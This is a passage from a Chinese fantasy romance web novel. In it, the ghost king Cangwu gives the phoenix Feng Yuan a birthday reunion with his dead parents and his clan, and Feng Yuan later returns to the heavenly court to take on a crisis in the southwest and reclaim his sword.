“嘘,快看,”苍梧轻轻挥手,面前浮现一大团鬼雾,雾中浮现一个小小的虚影:“这是那只未孵化的小鸟,本王找到他,现在让他进入轮回道,他会有一个好的归宿。” 雾中的小鸟带着迷茫扭了一下头,眼中带着感激:“谢谢您凤凰大人,待在您身边的日子是我觉得最温暖的时光。” 它本来就是被杜鹃鸟推出巢穴的蛋,幸亏树下枝节横生,它落在了树杈之间才没有被摔烂,本以为要冻死在树杈上,凤凰大人带走了它,给他温暖的巢穴。 是它自己不争气,没能破壳。 “现在我要走了……祝您和苍梧长长久久,恩爱到白头。”小鸟进入轮回道,新的命运在道路尽头等着他。 凤渊挥挥手,心中那点郁闷消散不少:“再见。” 苍梧从后面抱住凤渊,下巴放在他肩上,轻声道:“别伤心了,本王向你保证他绝对会一世无忧。” 这是史无前例的鬼府之王的破例。 也是鬼王的私心。 如果他的小凤凰能快乐,受点天罚又如何。 凤渊蹭蹭苍梧的脸颊,轻声:“谢谢你,苍梧。” 苍梧道:“本王不喜欢这三个字。” 说完,他极其霸道的吻住凤渊的唇。 手也不老实的探入凤渊的衣襟,肆无忌惮抚摸着柔软顺滑的肌肤。手中的感觉是他日思夜想,如果可以,他真的想在他办公的地方狠狠占有凤渊。 他不能。 今天是凤渊的生辰,还有很多事要做。 凤渊闷哼一声,轻轻握住苍梧的手腕:“苍梧,别,别在这里……” “为什么不可以?” “你想一下,这下面很多鬼,本王当着他们的面占有你,让所有鬼都知道你是本王的。” “我会撕开你的衣服,亲吻你的身体,让你当着所有鬼的面高/潮。” “你会很兴奋也会感觉很羞耻,你会抱着我求着我,让我不要在这里,让我轻一点慢一点,让我把他们赶出去。” 凤渊羞耻的捂住自己的脸:“苍梧!闭嘴!” 苍梧轻笑:“是你说的,你的身体想本王了。” “本王想要,但不是现在,”他慢慢的整理好凤渊的衣服,“本王有东西要送你。” 凤渊轻轻松了一口气,压下心中的羞耻感,其实光是想想苍梧说的那个画面,他心中还有隐隐一丝期待……或许自己真的压抑的太久了,喜欢在不寻常中找刺激。 “什么东西?” 面前浮起一团雾,雾气中心,小心翼翼地托着一样东西——那东西约莫食指长短,通体漆黑,材质非金非玉,隐约能看出东西的轮廓,更令人瞠目结舌的是,在连个圆圆的底座上,还清晰地刻着“苍梧”两个古朴的小字。 那团雾将这小东西郑重地推到凤渊面前,语气带着一丝不易察觉的期待和自豪。 “给。”苍梧道,“你要的东西本王取下来了,你记得用给本王看。” 凤渊彻底怔住,下意识地接过那冰凉的小物件,入手沉甸甸的,此刻却像块烫手的山芋,扔也不是,留也不是。 苍梧怎能送那种东西给他!还那么骚气的刻了名字……这是什么很光彩的事吗? 见他愣神,苍梧以为他不满意,连忙补充道:“本王在上面施了法咒,可以随你心意,变大变小。变大了能当摆设,变小了……” 他顿了顿,声音似乎压低了些,带着点别扭的体贴,“甚至可以穿根链子,挂在脖子上。” 凤渊看着掌心那拇指大小的、刻着苍梧名字的东西,再抬头看看眼前认真解释、甚至贴心考虑到佩戴方式的苍梧,“你认真的吗?” 苍梧道:“当然认真。” 凤渊把东西扔给苍梧:“要用你用,我才不用。” 苍梧眼睛一亮:“当真?要本王帮你用?” 凤渊:“……” 苍梧:“这是本王送你的礼物,你要随身携带。” 凤渊咬牙:“我不是变态!不可能随身携带假几八。” 苍梧理不直气不壮的拍了一下桌子:“不行,你要带。” 凤渊狠狠拍桌以示自己的决心:“不带!” 苍梧拍了一下:“真不带?” 凤渊重重拍了一下:“不带!” 苍梧:“不带就不带,那你一个月别想喝酒了。” 苍梧跟个小孩似的,只要不顺心就藏他的酒威胁他;他惹苍梧生气的时候,苍梧说过最重的话就是把酒坛子给他摔了。 然后再赔个更好更漂亮的酒坛子给他。 凤渊:“你又要藏我酒!?你除了这招就没有别的招数了吗?多大的人了还学小孩子藏东西,害不害臊。” “管用就行,”不费一点力气,就能让凤渊听话,苍梧为自己的聪明感到沾沾自喜,颇为傲娇道,“带不带?” 凤渊:“不带。” 苍梧整个人压在凤渊身上。 凤渊被迫往后仰,腰部以上倒在白骨桌上,笑眼盈盈:“鬼王大人要‘体罚’我吗?” 苍梧道:“本王要狠狠罚你。” 带着侵略性的目光,让心狠狠悸动。 “鬼王殿下,一切准备妥当,您可带鬼后前往。”阴兵的声音突兀的响起,惊扰了暧昧氛围。 凤渊轻轻踢了苍梧一脚,害怕那东西被人看见,连忙塞进苍梧衣服里:“起来。” 苍梧幽怨地看向跪在门口的阴兵:“滚。” 阴兵连连磕头:“小的无意打扰殿下好事,还请殿下责罚。” 嘭嘭几声重响,若是人该把头磕烂了。 凤渊道:“他是无心之过,也怪我们选择的地方不对,谁家正经人在殿堂之上行这种亲密之事……” 苍梧道:“今日鬼后生辰,不宜见血腥之事,便免去你的责罚,下次注意,下去吧。” 阴兵跪谢:“谢鬼后、鬼王。” 捡回一条小命后,他才知道,原来小鬼们说的都是真的,鬼王自从有了鬼后,就很少再开杀戒了。 殿外,无数长明灯犹如逆流的星河,蜿蜒而上。 黑暗冰冷的鬼界因为这些长明灯有了光亮。 凤渊跟苍梧十指相扣,行走在忘川河畔,看着那壮观又带着一丝哀戚的景象,不禁问道:“那些飘向天空的,是什么?” “魂灯。”苍梧的声音在一旁平静地解释,带着看惯一切的淡漠,“鬼界众生,皆有一盏。灯芯燃烧的,是阳世亲人挚友的思念。思念不绝,灯便不灭。” “给你一盏。”苍梧空手变出一盏长明灯,“你在灯上写下名字,便可以见到你想看到人。” 凤渊接过灯,又接过苍梧递过来的笔,在上面写下父亲和爹爹的名字,然后将灯放飞。苍梧眯着眼睛看着魂灯上名字,心想,不会那么巧吧。 魂灯飞到半空印证了苍梧的想法,灯前渐渐浮现出两个虚影,一个白发红眸,一个黑发银眸,容貌与凤渊八九分相似。 是苍梧战死多年的师兄凤于天和求凰。 苍梧听见饭身旁的人轻轻唤。 “父亲,爹爹……”凤渊抬着头,眼睛微微湿润,他已经几百年没有见到他们了。 求凰笑着看凤渊:“小汤圆都长那么大了。” 生前以活着开心最重要的凤于天难得正经,问了个正确的问题:“可有受什么委屈啊?” 凤渊摇头:“孩儿一切都好,你们呢?” 两人同时回答:“我们一切安好。” 苍梧:“……” 我不好。 凤于天从半空飘下来,咧嘴一笑:“苍梧也在,正好介绍介绍。”他一把搂住苍梧的肩膀,热情不减当年,“这是苍梧,按照辈分,你管他叫师叔。你小时候他还抱过你呢,那个时候他还没化人形,你害怕他,一见了他就哭,他嫌你哭闹的厉害,带了两天就不带了,自己一个人跑回鬼界躲清净去了。”凤于天凑到凤渊耳边小声道,“他还诅咒你以后找不到媳妇儿。” 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凤于天连连点头:“也行,我们凤凰一族民风很开放的,别说男子了,就是雌雄同体也没问题啊。谁啊?哪家的?告诉我,父亲今晚托梦给月下老头,让他帮你参谋参谋。” 苍梧言简意赅:“我。” 凤于天还没意识到事情的严重性:“你瞎捣什么乱,多大了心里没数啊。” 求凰看着他俩,一言不发。 苍梧:“没开玩笑,真是我。” 凤渊:“是他。” 安静三秒。 凤于天和求凰同时发出尖锐的爆鸣声。 凤于天:“什么!?苍梧!” 求凰:“苍梧啊。” “你多老了你知道吗?!我们小汤圆那么可爱你都能下得去手!?” 凤渊一脸诚恳的说出事实:“他不老,才一万九千岁而已。” 凤于天和求凰同时看向苍梧。 苍梧耸耸肩,跟个开屏的孔雀似的,就好像在说,没办法,他就是如此爱我。 凤于天咆哮:“小汤圆你才三千岁!你连他的零头都不够!” 折合成凡人的年龄是21岁。 而苍梧是年过半百的老头儿。 凤于天继续道:“你是不是用鬼术迷惑小汤圆了?!然后对我可爱的小汤圆为所欲为,小汤圆太弱小了,没有反抗的能力,只能任你欺负,被你这样那样。” “你禽兽啊!” “你道德败坏!” “没有人性!” “畜牲啊!” 面对凤于天歇斯底里的指责,苍梧非但一点道德感都没有,反而脸不红心不跳的指责他们:“这都怪你们。你们说梧桐林有个战神比本王还厉害,让本王前去一较高下,又没告诉本王那是你儿子。没记错的话,就是你怂恿本王必须和他决出高低。” “我靠!苍梧你有没有心!”想起自己那几天对苍梧的撺掇,凤于天想一头撞死在树上,好吧,他已经死了:“儿啊!是父亲对不起你啊!亲手毁了你后半生的幸福啊!” 那个时候他只是太想他的孩子了,所以用激将法激苍梧,让他去梧桐林见一见凤渊,来带凤渊安好的消息。 苍梧:“……” 求凰:“……” 凤渊:“呃,这到底怎么回事?” 求凰淡淡道:“你戏太多了,回来。我们早该知道的,你记得小汤圆出生不久后,苍梧说的第一句话吗?” 凤于天想了想道:“苍梧说‘小孩的发色真别致啊’。” 当时,所有人看到的都是黑发墨眸,只有苍梧说了凤渊的头发是红色。 那是凤渊的凤凰真身。 凤凰一族,唯有命定之人可一眼见真身。 那个时候,他们就应该知道,凤渊和苍梧是天赐的缘分,在一起只是时间早晚问题。只是当时,他们以为凤渊年幼,控制不住自己的灵力,不小心将真身漏了出去。 刚出生的凤凰幼崽会出现控制不住灵力,无法隐藏真身的情况。 苍梧如实回答:“我们三个师承天道,凤于天是我大师兄,求凰是我二师兄,我虽然比他们年长,但我入门晚,化形晚,是他们的小师弟。” “至于我为什么没有化成人形,你问问你父亲吧,他知道。” 而且,他的眼睛灰白,眼中只有黑白两色,只能看见死人的世界,看不见活人的世界。所以,世界万物于他而言,都长的差不多。 有了凤渊之后,幻化成人形,他才开始看清活人的世界。 凤于天呵呵一笑:“谁知道他那么老的一个人竟然那么单纯,我不过随便坑他几句,他竟然还真信了。鬼界的鬼都没有五官,一众师弟当中一个比一个帅气,苍梧那会儿没有五官,经常偷偷一个人躲在暗处看着我们,我为了安慰他便随口一说,你这是好事儿啊,若以后有了心仪的人,直接按照心仪的人的模样幻化,这样人人都知道你们是一对儿……” 说到最后,凤于天终于反应过来,“我靠!苍梧我说你为什么长成鸟样,你按照小汤圆的模样化形的!” 苍梧:“那你还没看出来我俩是一对儿,这也不怎么样啊。” 凤于天:“我是没想到你那么畜牲!呸,老畜牲。” 凤渊认真道:“他才不是畜牲,是孩儿喜欢的人。也是我主动捅破窗户纸,主动和他在一起的,他什么都不知道,请爹爹和父亲不要责怪他。孩儿和苍梧两情相悦,已经许下誓言,定下终身。” 苍梧道:“是本王的错,本王不该。本王明知你是小辈,却还是对你动了情。” “……” 看着凤渊脸上认真的表情,凤于天凉凉道:“都没错。我的错。我的错。” 本以为是温情的家人团聚,没想到误打误撞成了大型见家长现场……真的是啼笑皆非。 魂灯不会停留在空中,只会越飞越高,越飞越高。直至两个灵魂彻底看不见。随后,凤于天和求凰同时化作凤凰,翅膀带着火焰划过灰暗的幽冥上空,带领百只凤凰在忘川河的盘旋。 每一只,凤渊都认识,甚至还能叫出名字。 是他的族人。 随后,那些凤凰在天空上摆成凤渊的名字。 “凤渊,生辰快乐,一世无忧。” 凤渊抬头,明亮的火焰映在他的眼眸。 苍梧轻咳一声,褪去方才见了老丈人的无措:“本王只有这些能耐了,让你和家人团聚片刻。若是你想,你随时可以来鬼界看他们。” 一向强大的鬼王在爱人面前罕见的觉得自己无能,只能为自己的爱人换来与家人片刻的团聚。 凤渊道:“苍梧……你让我说什么是好……” 苍梧道:“那就不要说,我们到床上做。” 凤渊笑得狡黠:“小师叔,你还下得去手吗?” “……” 凤渊的目光扫过漫天灯火,又看向身旁这位鬼界之主,忽然发现,在这万千光华之中,唯独苍梧身边,是空寂的,没有任何一盏属于他的灯升起。 “你的灯呢?”凤渊忍不住问。 苍梧沉默了一瞬,那团雾气似乎都凝滞了些,半晌,才传来他听不出情绪的声音:“我没有。” “没有?”凤渊狐疑,执掌魂灯的鬼王,自己竟没有灯? “因为我无父无母。”苍梧的声音依旧平淡,仿佛在陈述一个与己无关的事实,“天生地养,自幽冥本源中诞生。无人知道我,自然无人思念我。” 世界伊始,他就出现,起初他是没有形状的云,负责吃掉尸体与邪祟,尸体在哪他就在哪,每天吃的饱饱的,游手好闲,无所事事。后来,天道发现他,并教化他,告诉他,他生来就是鬼界的主人,肩上背着重大的责任。 天生地养,无父无母。 这简单的一句话,却像一根细针,猝不及防地刺入了凤渊的心口,带来清晰的痛。他看着身旁总是强大、霸道,甚至有些蛮不讲理的鬼王,此刻却因寥寥数语,透出一种深入骨髓的孤寂。 那股疼惜之意涌上心头,驱散了所有玩笑的念头。凤渊面向苍梧,神色是前所未有的认真。 “我送你一盏。” 话音未落,他不等苍梧反应,掌心已然凝聚起一团温暖纯净的金红色神光。光芒中,一片流光溢彩的羽毛缓缓浮现——那是他的护心翎,是凤凰最珍贵的羽毛,与他的心脉神魂相连。 凤渊指尖引导着神光,护心羽在他的力量下,形态开始变化,羽杆挺立,羽丝舒展,最终化作一盏精致绝伦、流淌着金红暖光的灯盏雏形。他不断注入神力,细心雕琢,让灯盏的轮廓愈发清晰、优美,宛如一件绝美的艺术品。 当最后一笔神力勾勒完成,一盏独一无二的、由凤凰护心翎化作的凤翎长灯,静静悬浮在凤渊掌心。它散发着温暖柔和的光芒,在这片幽冥之地,如同一个小太阳,驱散了周围的阴冷。 凤渊将这盏蕴含着自身本源之力的凤翎长灯,郑重地推向苍梧。 “苍梧。”他看着苍梧,声音清晰而坚定,“这盏灯,是属于你的灯。” “日后,每一次灯亮,”他一字一句,如同誓言,“都是我在想你。” 金色的光芒映照在翻涌的鬼雾之上,仿佛也驱散了深藏于灵魂深处的万年孤寒。苍梧周身的鬼气仿佛在这一刻静止了,那盏悬浮在他眼前的凤翎长灯,其上的每一缕光华,都像是最炽热的阳光,融化着他冰封的躯体。 他小心翼翼地,用双手托住了那盏灯。灯盏入手,没有灼热,只有直达骨骼的温暖,仿佛将凤渊那份鲜活炽热的生命与牵挂,也一并交付到了他的手中。 凤渊的笑容即使在漆黑的鬼界也依旧明媚:“喜欢吗?” 苍梧道:“喜欢……今日是你生辰,你送我礼物……” 万千灯火之下,百凤齐鸣之中,凤渊亲了亲苍梧的嘴角:“你就是我得到的最好的生辰礼。” 头顶上方的魂灯飞远了。 鬼王手中的灯依旧停留在掌心中。 一盏,由心爱之人,以心血为引,以思念为芯,亲手为他点燃的——长明之灯。 因为有了长明灯,鬼界也不再寒冷。 18. 千年前的心跳(10) 凤凰的生辰礼,鬼界之主送了真诚又老土的真心,那一日,安静的鬼界百鸟朝凤,所有凤凰的游魂绕鬼界三圈,最后停留在凤渊身边。 苍梧知道他的小凤凰是孤独的,故而将游离在外的凤凰游魂全都召集回鬼界,让他们获得一日的团聚。 其实不是一日,只要他的小凤凰想,随时可以每天见到他的族人,以及凤于天和求凰。为了让凤渊随意进出鬼界,苍梧将号令万鬼的幽冥令给了他。 千万年来,从未有活人踏足鬼界。 凤渊是第一个。 那是来自鬼府之王的偏爱与私心。 至于那个假几八,苍梧有的是办法让凤渊带在身上。 凤凰生辰那夜,星子聊胜于无,夜风裹挟着忘川河的湿冷气息。他们并肩坐在鬼界最高的断魂崖边,脚下是蜿蜒流淌的忘川河与万千闪烁的引魂灯,远方人界的灯火渐次湮灭在夜色里。 罕见的,凤渊提起了不为人知的往事。 “苍梧。”他轻声唤道。 苍梧侧眸,看到人间最后的暖光映在凤渊眼底,融化了几分平日清冷,添上几分朦胧的暖色。 “怎么了?”他回应,声音是不自觉放低的温和。 凤渊望着远方,仿佛看到很久以前的画面:“凤凰一族,几乎都死在战场上,我的父亲凤于天和爹爹求凰,也在其中。”他声音平静,却带着难以言喻的忧伤,“他们从小一起长大,也争到大,比修行,比术法,连化形都要比谁更早一步……争了一辈子,却也只服彼此。” 爹爹求凰是凤凰一族的祭司,天生红眸,隐藏的很好,只有父亲一人知道。父亲凤于天是凤凰一族的下一任族长,心高气傲,只肯为爹爹低头。 他顿了顿,嘴角牵起一丝微不可查的弧度:“凤凰一族雌雄同体,成年后可自行抉择。父亲以为爹爹会化作女子,爹爹也以为父亲会化作女子……结果,阴差阳错,两个都成了男身。” 苍梧静静听着,紫眸专注。 “他们不顾族人非议,执意在一起,后来便来到那片梧桐林隐居。”凤渊的声音低了下去,“不久后,爹爹擅自使用生子秘法,有了我。父亲大怒,毁了秘法。” “再后来,仙界遭魔族大举入侵,连隐居的凤凰一族也未能幸免。为了守护族人与我们那个小家,被族群驱逐的父亲和爹爹,重新拿起武器,返回了故土战场。” 凤渊的指尖无意识蜷缩了一下,眼眸中闪过一丝困惑与痛楚:“我至今仍想不明白……爹爹当年,为何要冒着根基受损,甚至殒命的风险,强行诞下我。若没有我,他便不会那般虚弱,或许就不会死在战场上了……” “我一个人守着偌大的梧桐林,爹爹说,太阳下山了他们就会回来。我等了几千个日出日落,却没有看见他们的身影。后来,我在日落中踏上征途,像他们一样,拿起剑,保护身后亲人朋友。” “后来——” “小凤凰,”苍梧心疼道,“以后你有本王陪着,本王永远不会离开你,本王永远只属于你。” 凤渊没说话,安静看着苍梧看了好久好久,忽然释怀的笑了,苍梧跟他们不一样……他怎么能用那么卑鄙的手段让苍梧心疼自己呢。 他说这些,就是想让苍梧心疼自己。 我没爹没娘。 我无依无靠。 我就剩你一个了。 别像他们那样背叛我,要心疼我。 心疼我吧。 可是苍梧跟他们不一样。 苍梧永远不会离开自己。 他也不会永远停在原地。 凤渊,不要被困在以前了。 牵着苍梧的手,和苍梧向前走吧。 在摇曳飞远的灯火之下,凤渊鬼使神差向苍梧伸手,眼里带着笑意:“苍梧,你知道第二步……” 苍梧握紧凤渊的手,冰凉的掌心沾染上凤渊的温度,他看着凤渊漂亮的眼睛,无师自通般:“心疼。第二步,叫心疼。” “小凤凰。” “你的眼睛那么漂亮,不应该流泪。” 那夜灯火璀璨,却没有一盏灯比得过凤渊的眼睛。生辰结束后,凤渊又开始趴窝,孵化那些未破壳的鸟儿。 温柔的阳光晒得人懒洋洋的。 凤渊栖在枝头,身下是黑色的看起来很冰冷的雾做的巢穴。这是苍梧幻化的巢,只有凤渊知道滚烫灼人的温度。 凤渊难得偷懒,停了片刻灵力,为这些鸟蛋输送了一天一夜的灵力,他有些疲了。 苍梧感受到凤渊的劳累,自然接下凤渊未做完的事情。 无声地默契仿若两个人早就在一起了。 小鸟站在枝头,有部分胆子大的,飞到凤渊身边,替凤渊梳理羽毛。 一只小青鸟扑棱着翅膀,调侃道:“凤凰大人最近愈发懒惰了,这些时候了还在睡觉。” 每年这个时候,都是凤渊一个人孵蛋,担心瘦弱的鸟儿无法破壳,凤渊都整夜整日不合眼照料着,不敢松懈。 凤渊睁眼,轻笑:“有人代劳,我自然懒呗。” 苍梧哼道:“怕某人哭鼻子,还得哄人,本王嫌麻烦。” 感受到身下充盈的灵气,凤渊道:“小师叔,你对我真好。” 苍梧还是有羞耻心的,最起码目前还没想好怎么跟大师兄和二师兄相处:“不许喊。” “为什么?” “本王不喜欢。” “那什么好听?你来说说。” “你知道本王想听什么。” “这个啊——让我想想——还真不知道。” 站在枝头的小鸟,忽然飞下来,凑到苍梧耳边小声说:“凤凰大人以前经常一个人偷偷哭鼻子哦,有时候在另外两个凤凰大人碑前,一待就是一天。” 凤渊再是个战神,再怎么强大,也还是个孩子,也有需要发泄的情绪。好友背叛,整个凤族又只剩下他一个人,他没有地方诉说,只能偷偷到父亲和爹爹墓前,小声说自己的委屈。 小鸟扑棱着翅膀,凶巴巴道:“苍梧大人,你要保证不要再让凤凰大人伤心了,不然我们是不会认可你的,还会诅咒你‘掉毛’。” 苍梧道:“放心,有本王在,无人敢动他分毫。” 凤渊忽然看过来,“说什么悄悄话呢?还有我不能听的?他们真是越来越喜欢你了,苍梧。” 小鸟们叽叽喳喳的:“凤凰大人喜欢的,我们都会喜欢的。” 忽然,苍梧紫眸一凛,小鸟们也都飞上枝头,警惕性的看向远处:“讨厌的家伙又来了。” 苍梧周身原本平和的气息瞬间变得锋锐冰冷。 几乎是同时,小仙略显急促的声音遥遥传来:“凤渊战神,我奉天帝御令,特来恭请战神返回仙界,共商西南异动应对之策!事关三界安危,恳请战神以大局为重!” 声音回荡在安静的梧桐林,打破了方才的宁静与温情。 凤渊微微蹙眉,眼底的暖意迅速冷下去。他没有立刻回应,若真的以大局为重,他们早就该来了,而不是现在才想起他。 苍梧的脸色彻底沉了下来,冷哼一声,没有言语。 “稍等我片刻,我去看看。” 凤渊化作人形,解除了梧桐林周围的结界。 一条铺满梧桐叶的小路出现,道路尽头站着两个仙风道骨的仙人。一个是再熟悉不过的明霏,一个是来传话的仙使。 明霏走进来,脸上依旧挂着温和有礼的笑:“凤渊。” 凤渊点头:“说吧,有什么事需要我。” 明霏看着凤渊,欲言又止,止言又欲。 仙使道:“战神,西南情况危急,异物吞噬范围开始扩大,已逼近人间!仙界派去的人手全都无功而返,甚至有人葬身在那。这样下去,恐会危害人间。仙界需战神的力量,还请上神看在苍生面上,随小仙回去。” 苍梧并未出声,默默看向凤渊,心下觉得可笑,苍生?现在想起来了,早干什么去了。虽知凤渊心系众生,却不愿凤渊被仙界如此召之即来,挥之即去。 凤渊缓缓转过头,眼眸清冷如霜,淡淡开口:“回去转告天帝。” “凤渊已非仙界战神,无权亦无责参与仙界议事。” 他话音一顿,语气微沉,带着一丝不易察觉的锋芒:“但西南异动,祸及无辜,我不会坐视不理。” 这番话,既明确划清了与仙界的界限,又表明了自己不会袖手旁观,却完全将主动权握在了自己手中。 仙使似乎还想再劝:“战神……” 凤渊道:“你们回去复命吧,我会去的。” 仙使感激不尽。 明霏站在原地,依旧用那种复杂的眼神看着凤渊:“凤渊,我们真的没有别的话可以说了吗……” 苍梧心中烦躁。 凤渊道:“话已带到,还有什么可说的?还请明霏仙君不要以私废公,以免耽误大家时间。” 明霏焦急道:“阿渊!你喜欢的人是谁?究竟是不是苍梧?” 凤渊还没来得及说话,苍梧的声音响起:“他喜欢的人正是本王,你有什么意见吗?” 话音落下,树上的那团黑雾缓缓飘下,幻化成人,白发紫眸,怀里还抱着十几个大小不一的鸟蛋。 明霏诧异地看着苍梧怀里的鸟蛋,“你们……” 传宗接代这等重要的事,凤渊怎么可能让苍梧代劳!? 苍梧道:“我们很相爱。” “…………” 没人问这个。 明霏一阵头晕目眩,他忽然觉得苍梧狭长漂亮的紫眸不像宝石,而是像凤渊胸前的护心翎。 虽然就见过一次,但他还是清楚地记得凤渊的护心翎的颜色。 苍梧看向明霏:“你还有什么问题吗?” 明霏攥紧拳头,接下来的话不是说给苍梧听的:“苍梧不是什么好人,你小心他会伤害你。” 小鸟道:“你以为你是好人嘛??你做的那些事我们可都替凤凰大人记着呢。小心以后‘掉毛’!变成丑八怪!” “……” 他终于看明白,这里所有人都不欢迎他,明霏噤声,仙光闪烁了几下,带着不甘,狼狈退走了。 梧桐林重归寂静,却已不复之前的宁和。 凤渊轻轻吐出一口气,看向身旁煞气未消的苍梧,眼中的冰冷渐渐化去,染上些许疲惫,也有一丝茫然。 时至今日,他终于明白爹爹和父亲重回故土战场的心情,因为在意所以犹豫,因为犹豫所以担忧。 第一滴啼哭的泪源自这里,最后一滴离世的泪亦源自这里,那是他们魂牵梦萦的土地,承载着他们所有的光辉岁月。 林中的寂静并未持续太久。 “我还是得去一趟。”他声音平静,不容置疑,他还是无法彻底从中割离,就像听到仙界没有通知他异动的消息,他会难过…… 他生在仙界,根在那里,始终是仙界的一员。 苍梧紫眸一沉,周身鬼雾翻涌得更甚:“他们分明是要再利用你!那仙界怎么对你的,你难道不清楚?” “我清楚。”凤渊点头,目光坦然地看着他,“正因为清楚,才更要去。西南异动非比寻常,若真如那仙使所言,已逼近人间,死伤必是无数。我不能因与天帝的私怨,坐视不理。” 他顿了顿,语气放缓,带着一丝安抚:“况且,知己知彼,百战不殆。回去也能听听他们究竟掌握了什么信息。” 苍梧紧紧盯着他,试图从他眼中找出一丝犹豫,却只看到一片赤诚的坚定与对苍生的责任感。他深知,这便是凤渊,是他倾心的凤凰,永远无法真正对苦难视而不见。 他猛地别开脸,冷哼一声,鬼雾却稍稍收敛了些许,算是默许。他无法阻止凤渊去做他认为对的事,就像凤渊从未真正阻止过他行使鬼王的权利。 “本王随你同去。”他声音硬邦邦的,“西南异动来的突然,原因尚未查明。若是凶兽异动定有原因,可是现在毫无进展,恐是有人从中作祟,故意让我们查不到原因。” “前路未知,此去凶多吉少。” “所以,还是让本王陪在你身边。” 凤渊摇摇头:“不可。若你现身凌霄殿,只会让他们戒备,让局面变得更僵。”他看出苍梧的不赞同,补充道,“况且,我戴着你给的耳坠,你在与不在也没区别。” “你都知道?” “第一天戴上的时候我就知道了。”凤渊道,“我很喜欢,是被你在意的感觉。” 苍梧沉默片刻,终是拗不过他:“那我等你。” 凤渊抬手摸了摸耳坠,他再也不想跟苍梧分开,每一分每一秒都要跟苍梧待在一起:“等我回来,我们成婚。” 苍梧:“好。” “凤渊,你记住。” “你进一步,有本王在身后;你退一步,有整个鬼界。” 当凤渊独自一步踏入久违的凌霄宝殿时,原本嘈杂的议论声戛然而止。 众仙目光复杂地投向他,有惊讶,有审视,有依旧残留的敬畏,也有难以掩饰的疏离与猜忌。他一身素净常服,并未着战神铠甲,身姿挺拔如昔,黑发如瀑,神色平静,仿佛只是出门访友归来,而非经历了被边缘化、解除婚约、与鬼王相交等一系列风波的主角。 凤渊站在两列仙人之间的末端,平静的看过去,那些面孔无一不熟悉,都是曾与他共事的仙僚,还有与他并肩作战的神官,甚至还有曾一起品酒论剑的朋友……曾经的无话不谈,到现在个个冷面相对。 只有一面之缘的鬼界,都能信他,这些人为什么从来不相信他呢。 哪怕有一个站在他这边也好。 只要有一个人。 只需一个人,站在他身边。 恐怕那都成了奢望了…… 天帝高坐御座,冕旒下的目光深沉难辨。明霏站在文臣武将首位,垂着眼眸,看不清神情。 “凤渊,你来了。”天帝开口,声音平稳,听不出喜怒。 凤渊迅速整理好自己的情绪,微微颔首,算是见礼,并未如往日般躬身,语气疏淡:“天帝相召,言及西南苍生,不敢不至。” 他将“苍生”二字,咬得格外清晰。 天帝目光微凝,继续道:“西南异物,吞噬万物,仙力难伤,近日其范围急速扩张,已危及数座凡人城池,生灵涂炭。诸位仙卿商议多时,苦无良策。你法力高强,见多识广,对此异动,可有见解?” 凤渊直言不讳:“恕凤渊愚钝,未有见解。” 他此言一出,殿中顿时响起一片低哗。 “难道就奈何不了它了吗?”一位老仙君急道。 凤渊目光扫过众仙,最后落回天帝身上:“需寻其根源。此物气息古老混乱,非现今三界常见之力。我怀疑,其出现并非偶然。” “你的意思是……”天帝声音微沉。 “或许是上古封印松动,或许是……”凤渊顿了顿,眼眸中锐光一闪,“是有人刻意引动。” 殿内气氛瞬间更加凝重。 “荒谬!”一位隶属天帝心腹的仙官出声反驳,“何人能有此等手段?凤渊战神,莫非是想转移视线,为你那鬼界友人开脱?谁不知鬼界法术最为诡谲阴损!” 这变相指控是鬼界在作怪。 凤渊眼神骤然一冷,周身灵气虽未暴涨,却让那仙官瞬间感到一股无形的压力,后面的话卡在了喉咙里。 “证据。”凤渊吐出两个字,声音冰寒,“若无证据,便是诬陷。您这么肯定是鬼界做的,难道是您看见了?还是说您参与了。” “够了。”天帝出声打断,维持着表面的平和,“当务之急,是解决西南危机。凤渊既然你是四海八荒第一战神,依你之见,该如何应对?” 凤渊收回目光,平静道:“需组织一支精锐,深入西南腹地,找到其核心所在,再谋破解之法。此行凶险,需要修为高深,心志坚定的人前去。” “你可愿领此重任?”天帝追问。 所有目光再次聚焦于凤渊身上。 凤渊沉默片刻,抬眸,与天帝对视,清晰地说道:“我可以去。” 不等众仙松口气,他话锋一转:“但,此行一切调度,由我决断。所需人手,由我挑选。仙界各部,需无条件配合。” 凌霄殿内,一片死寂。众仙皆被凤渊这前所未有的强硬和决绝所震慑。 天帝放在御座扶手上的手,指节微微泛白。他深深地看着阶下那抹孤直的身影,良久,才从喉间挤出一个字:“准。你的剑放在这里许久,也拿去吧。” 自凤渊将问情送回天庭,悬挂于南天门之日起,它便自行封剑。百年间,那剑静静悬于天门之下,宛如华而无实的装饰。无数仙神试图将其拔出,却无一人能撼动分毫。它拒绝被除凤渊之外的任何力量驱使,仿佛在无尽岁月中固执地守望着什么。< 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几百年过去了。 问情,依然只认他一人。 凤渊莞尔:“不好意思了各位,几百年过去了,他还是只认我。” 不是谁是战神就可以拔出问情。 而是问情认谁谁才可以拔出他。 殿内陷入一片死寂。 方才还心思各异的众仙,此刻脸上各个精彩纷呈。有仙人瞳孔骤缩,下意识后退半步;有老者抚着长须的手僵在半空;更有人掩饰不住眼中的骇然与贪婪,死死盯住那柄终于显露真容的神兵。 天帝端坐于御座之上,一贯威严的面容上也掠过一丝极深的震撼,他望着那柄光华内敛却又剑气汹涌的长剑,终是缓缓叹道:“当真是,世间唯一的神兵。” 凤渊合拢手指,握紧熟悉的剑柄,冰凉的触感自掌心传来。他垂眸,指尖极轻地抚过剑身,如同抚过一位阔别多年的挚友。 “好久不见。”他低语。 问情剑立刻嗡鸣,似乎在回应凤渊。 凤渊微微躬身:“既然如此,凤渊告退,即刻前去准备。” 他不再多看众仙一眼,转身,衣袂飘然,在一片复杂的目光中,带着问情,径直走出了凌霄宝殿。 踏出殿门的瞬间,他感受到耳畔的玉石正在轻轻的晃动,仿佛某个远在鬼界的家伙,正隔着千山万水,无声地传递着他的关注。 凤渊唇角几不可见地微微一勾,步伐坚定地迈向云端。 这一次,他将为自己的信念而战,也为那份在幽冥深处等待他的独一无二的归处而战。 凤渊走后,凌霄殿的气氛凝重的能杀死人。 所有仙官匍匐在地,战战兢兢,大气不敢喘。天帝端坐御座,面容隐在冕旒之后,看不真切,唯有周身散发的低气压显示着他极度的不悦。 “明霏。”天帝的声音听不出喜怒,却让殿中众仙心头一紧。 明霏躬身道:“陛下,当务之急,仍是西南异动。那物既能吞噬万物,恐非凤渊一人能轻易解决。若其失控,三界危矣。臣愿率领天兵天将,前往西南策应,以防万一。” 他这番话,看似以大局为重,实则存了私心——他无法眼睁睁看着凤渊独自面对未知危险,哪怕凤渊身边已有了别人。 